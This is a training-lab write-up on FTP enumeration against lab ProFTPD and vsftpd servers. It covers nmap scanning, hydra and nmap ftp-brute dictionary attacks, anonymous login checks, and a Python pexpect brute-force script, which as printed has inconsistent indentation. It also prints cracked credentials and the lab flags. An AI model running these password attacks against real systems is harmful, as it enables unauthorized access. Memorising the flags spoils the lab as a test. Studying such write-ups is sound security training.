🔬FTP Enum

FTP (File Transfer Protocol) - a client-server protocol used to transfer files between a network using TCP/UDP connections.

It requires a command channel and a data channel.

Default FTP port is 21, opened when FTP is activated for sharing data.

sudo nmap -p21 -sV -sC -O <TARGET_IP>

Lab 1

🔬 ProFTP Recon: Basics

• Target IP: 192.217.238.3

• Enumeration of ProFTP server

ip -br -c a
	eth1@if170718   UP   192.217.238.2/24

• Target IP is 192.217.238.3

nmap 192.217.238.3
	21/tcp open  ftp

nmap -p21 -sV -O 192.217.238.3

21/tcp open  ftp     ProFTPD 1.3.5a
[...]
Service Info: OS: Unix

nmap -p21

📌 FTP server version is ProFTPD 1.3.5a.

ftp

• Try anonymous:anonymous login

ftp 192.217.238.3
# anonymous login failed

• Use hydra with some users/passwords word lists to check if any credentials work with the ftp server

hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.217.238.3 -t 4 ftp

[DATA] max 16 tasks per 1 server, overall 16 tasks, 7063 login tries (l:7/p:1009), ~442 tries per task
[DATA] attacking ftp://192.217.238.3:21/
[21][ftp] host: 192.217.238.3   login: sysadmin   password: 654321
[21][ftp] host: 192.217.238.3   login: rooty   password: qwerty
[21][ftp] host: 192.217.238.3   login: demo   password: butterfly
[21][ftp] host: 192.217.238.3   login: auditor   password: chocolate
[21][ftp] host: 192.217.238.3   login: anon   password: purple
[21][ftp] host: 192.217.238.3   login: administrator   password: tweety
[21][ftp] host: 192.217.238.3   login: diag   password: tigger
1 of 1 target successfully completed, 7 valid passwords found

hydra user:password attack

📌 Found credentials are:

sysadmin:654321 rooty:qwerty demo:butterfly auditor:chocolate anon:purple administrator:tweety diag:tigger

• Use nmap ftp-brute script to find the sysadmin's password

echo "sysadmin" > users

nmap --script ftp-brute --script-args userdb=/root/users -p21 192.217.238.3

21/tcp open  ftp
| ftp-brute: 
|   Accounts: 
|     sysadmin:654321 - Valid credentials
|_  Statistics: Performed 23 guesses in 6 seconds, average tps: 3.8

• Extract the 7 flags hidden on the server by logging in to the ftp server with each found user

ftp 192.217.238.3

ftp> ls
ftp> get secret.txt
ftp> exit

root@attackdefense:~# cat secret.txt 

Reveal Flag - sysadmin flag is: 🚩

260ca9dd8a4577fc00b7bd5810298076

Reveal Flag - rooty flag is: 🚩

e529a9cea4a728eb9c5828b13b22844c

Reveal Flag - demo flag is: 🚩

d6a6bc0db10694a2d90e3a69648f3a03

Reveal Flag - auditor flag is: 🚩

098f6bcd4621d373cade4e832627b4f6

Reveal Flag - anon flag is: 🚩

1bc29b36f623ba82aaf6724fd3b16718

Reveal Flag - administrator flag is: 🚩

21232f297a57a5a743894a0e4a801fc3

Reveal Flag - diag flag is: 🚩

12a032ce9179c32a6c7ab397b9d871fa

Lab 2

🔬 VSFTPD Recon: Basics

• Target IP: 192.119.169.3

• Enumeration of vsftpd server

ip -br -c a
	eth1@if170803   UP  192.119.169.2/24

• Target IP is 192.119.169.3

nmap 192.119.169.3
	21/tcp open  ftp

nmap -p21 -sV -O 192.119.169.3

21/tcp open  ftp     vsftpd 3.0.3

📌 FTP server version vsftpd 3.0.3

• Use nmap ftp-anon script to check anonymous user login

nmap --script ftp-anon -p21 192.119.169.3

21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Dec 18  2018 flag
|_drwxr-xr-x    2 ftp      ftp          4096 Dec 18  2018 pub

📌 Anonymous FTP login allowed

ftp 192.119.169.3
# Use anonymous:anonymous to login

Name (192.119.169.3:root): anonymous
    331 Please specify the password.
Password:
    230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls
ftp> get flag
ftp> exit

root@attackdefense:~# cat flag 

Reveal Flag: 🚩

4267bdfbff77d7c2635e4572519a8b9c

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Lab 3

🔬 VSFTPD Recon: Dictionary Attack

• Target IP: 192.14.30.3

• Dicotionary attack on vsftpd server

• FTP server terminates the session after 3 attemps

ip -br -c a
	eth1@if170888   UP   192.14.30.2/24 

• Target IP is 192.14.30.3

nmap 192.14.30.3
	21/tcp open  ftp

nmap -p21 -sV -O 192.14.30.3

21/tcp open  ftp     vsftpd 3.0.3

echo "billy" > users

nmap --script ftp-brute --script-args userdb=/root/users -p21 192.14.30.3

21/tcp open  ftp
| ftp-brute: 
|   Accounts: 
|     billy:carlos - Valid credentials
|_  Statistics: Performed 78 guesses in 55 seconds, average tps: 1.5

📌 billy's password is carlos

• A custom script to attemp the logins is required if automated dictionary attack do not work, since the server terminates the sessions after 3 login attempts.

• e.g. python script:

nano billy.py

import pexpect
import sys
username=sys.argv[2]
password_dict=sys.argv[3]

# Loading the password dictionary and Striping \n
lines = [line.rstrip('\n') for line in open(password_dict)]

itr = 0
# Iterating over dictionary
for password in lines:
	child = pexpect.spawn ('ftp '+sys.argv[1])
	child.expect ('Name .*: ')
	child.sendline (username)
    print "Trying with password: ",password
	child.expect ('Password:')
	child.sendline (password)
	i = child.expect (['Login successful', 'Login failed'])
	if i==1:
		#print('Login failed')
		child.kill(0)
	elif i==0:
		print "Login Successful for ",password
		print child.before
		break

python billy.py 192.14.30.3 billy /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

Login Successful for  carlos

• Fetch the flag using billy:carlos credentials

ftp 192.14.30.3

ftp> ls
ftp> get flag
ftp> exit

root@attackdefense:~# cat flag

Reveal Flag: 🚩

c07c7a9be16f43bb473ed7b604295c0b

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